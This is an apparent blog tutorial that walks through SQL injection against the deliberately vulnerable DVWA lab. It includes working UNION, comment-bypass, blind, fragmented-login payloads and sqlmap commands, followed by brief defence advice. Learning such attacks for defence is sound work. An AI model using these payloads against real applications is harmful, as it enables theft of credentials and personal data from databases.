Originally published at https://omerxx.com/sql-injection-intro

The basics of how to test and protect your application

SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018-2019) period.
- State of the internet 2019, Akamai

The quote above says it all. If there's one attack vector to get familiar with as a web developer it's an injection and this one in particular. On the OWASP top 10 list injections are ranked first with SQL staring high. The infamous SQLi is very common, easy to automate and can create a lot of unrepairable damage.

This post is a personal attempt at getting to the bottom of something I needed to know. I repeatedly tried picking it up with gists and short videos but it didn't go "all the way down". Getting to know SQL injection means sitting down, reading the docs and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.

Having that said, it's important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.

What is it

SQL Injection (or SQLi in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.

Performing the attack requires a very simple "hacking tool": your browser, making it accessible and easy both to learn and perform.

There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client's browser. So, where the developer intended for the user to provide a simple input e.g. User ID, an attacker may try to inject an SQL statement. Instead of providing 1 for example, consider this input:

 1' UNION SELECT password FROM users UNION SELECT '1

If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn't need to gain access to the physical server. The data is extractable and available in a "legitimate" manner.

How to attack

In order to set up a live example, I'm using the infamous Damn Vulnerable Web Application. It's available in different forms but for the sake of demonstration and speed, let's pick the quickest one with Docker:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.

Poking for holes

Select the "SQL Injection" module from the menu.
Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be 1:

1

# ID: 1
# First name: admin
# Surname: admin

Seems like we're being responded with three fields: ID, First name and Surname.
Let's try an escape by providing ':

'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1

This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments.

Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a "blind SQL injection". More on that further on.

Back to our injection quest. After using ' the app returned a useful message mentioning an error near '''''. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.

The SQL UNION statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:

1' UNION SELECT '2

# Output: The used SELECT statements have a different number of columns

First, let's review the input:

• 1' means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, ' are dangerous when not escaped correctly.
• UNION SELECT '2 is a UNION statement that selects a number and opening another ' to pair with the one waiting at the end of the statement in the backend code.

Now we know the UNION may work with a few tweaks. When calling an SQL statement with UNION the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.

Let's expand the test and provide an additional column:

1' UNION SELECT 1,'2

# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2

Boom! The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.

1. Step one is getting the DB name to query tables from:
   

   1' union select 2, table_schema from information_schema.tables
      union select 3,'4
   

   This yields three sets with the databases name under "Surname": "admin", "dvwa", "information_schema".

2. We're interested in dvwa, so we'll pick that and query its schema:
   

   1' union select 2, table_name from information_schema.tables
       where table_schema = 'dvwa' union select 3,'4
   

   The query yields table names: "admin", "users", "guestbook"

3. "Users" table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information (PII). We'll query that (feel free to tinker with the requests and query all available information):
   

   1' union select 2, column_name from information_schema.columns
       where table_name = 'users' union select 3,'4
   

   We're responded with a list of column names. "user" and "password" seems like the interesting ones.

4. We go on and make a direct query to the "users" table:
   

   1' union select user, password from users
      union select 1,2'
   # ID:  1' union select user, password from users union select 1,2'
   # First name: admin
   # Surname: admin
   # ID:  1' union select user, password from users union select 1,2'
   # First name: admin
   # Surname: 5f4dcc3b5aa765d61d8327deb882cf99
   # ID:  1' union select user, password from users union select 1,2'
   # First name: gordonb
   # Surname: e99a18c428cb38d5f260853678922e03
   # ID:  1' union select user, password from users union select 1,2'
   # First name: 1337
   # Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
   # ID:  1' union select user, password from users union select 1,2'
   # First name: pablo
   # Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
   # ID:  1' union select user, password from users union select 1,2'
   # First name: smithy
   # Surname: 5f4dcc3b5aa765d61d8327deb882cf99
   # ID:  1' union select user, password from users union select 1,2'
   # First name: 1
   # Surname: 2
   

   And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be.

Security Level: Medium

Raising the DVWA security level under "DVWA Security" -> choose Medium.
This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the POST request is being sent with two parameters: id=1&Submit=Submit. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is BurpSuite.

Quick setup to intercept with BurpSuite

1. Set your requests to go through a proxy; with Firefox this is easy as going to Preferences --> Advanced --> Network Settings --> Manual Proxy Configuration and setting all protocols to go through 127.0.0.1:8080 (BurpSuite's default)
2. Go to BurpSuite Proxy tab and set intercept on. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it
3. Go to DVWA SQLi page, choose an ID from the dropdown and click Submit. The request should be waiting on BurpSuite, where we can then send it to Repeater through the Actions menu.

Poking at the server by playing with the id of the POST request reveals an escape character in the form of \. So whenever a special char like ',#,-,$ appears it's being escaped. However, not being able to use special chars, does not prevent a UNION injection with the exact same syntax:

1 UNION SELECT user, password FROM users

That's it. No escaping at all. The backend code already wraps it and fetches everything within the command fully.

Security Level: High

The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is "better" here but it still has a glitch. Comments are a good way to escape the rest of the line:

SELECT something FROM sometable # WHERE ...

# Will translate into the SQL query
SELECT something FROM sometable

There are different options for commenting SQL lines, common ones are --, #, /* - multiline that ends with */.
In the "real world" those are useful in describing code:

SELECT name -- this is the name
  FROM users -- users table
  WHERE name="DAN" -- Dan is the CEO

When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code:

// Check database
$query  = "SELECT first_name, last_name FROM users
            WHERE user_id = '$id' LIMIT 1;";

The query is LIMITed to a single result making it hard to pull a large set of data, ignoring the LIMITation can by pass it:

# First input:
1 UNION SELECT user,password from users

# Translates to
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password' LIMIT 1;

Since the query result is limited to one set, it will constantly return first_name, last_name, ignoring the UNION.
Let's try again then:

1 UNION SELECT user,password from users#

# Limitation ignored
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password FROM users';

Blind SQLi

A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending SLEEP within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.

Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.



- Blind SQL Injection - OWASP

Let's test the DVWA blind SQLi module with the low security level. With the simple input 1 the system returns User ID exists in the database. With bad input like ' the response is 404 with a message User ID is MISSING from the database.

The next step is playing around to see if a boolean attack is optional:

# Input
'1 AND 1='1

>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.

# Input
'1 AND 1='2

>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is valid

From here on, it's a matter of separating known results into false/positive statements from which the attacker can derive answer. For example:

# This input returns 404
1' and (select user from users where user_id=1)='test' and 1='1

# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where user_id=1)='admin' and 1='1

Fragmented SQLi

A lesser-known method, but nonetheless effective can be useful when certain characters like ' are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with \, the attacker may circumvent it by created his own escape like so:

username: \
password: or 1 #

$query = select * from users where username='".$username."'
          and password='".$password."'";

This translates to:

select * FROM users where username='\' or password=' or 1 # ';

The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: '\' or password=' or 1 # '. The statement above will always return true. The hash # makes sure its following command section is ignored as a comment.

Automating things with sqlmap

One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you're not an expert. Human errors and false-positive we may miss can also interfere. Sqlmap can help.

sqlmap is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).

Here's a simple operation of it on DVWA blind SQLi level

# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      --dbs

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema

The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used:

# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      -D dvwa
      --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Defence

• "ORM" - A common belief is, that a good way of dealing with SQLi is using an ORM layer. Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is not an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications.

"I would say it is a baseline expectation for any ORM, yes. which is likely why it's not mentioned in docs -- it's assumed, so long as you use the ORM's core API or query builder.
and that's where the caveat is... ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write 'raw,' do-it-yourself queries as a string... or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM... but there is a case for it every now and again."
- TypeOrm Issue reply by @feather-hmalone

• WAF - A web application firewall can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and can be bypassed if not implemented correctly.

• Self-defence - Building things with best practice in mind is a good direction. It sounds obvious, but it really isn't. Best practice mentality is great but it doesn't mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that's responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak.

I hope that by now you're more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility.

I'll be making more of these posts, mainly around OWASP's top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and let me know if you have any questions or feedback at all.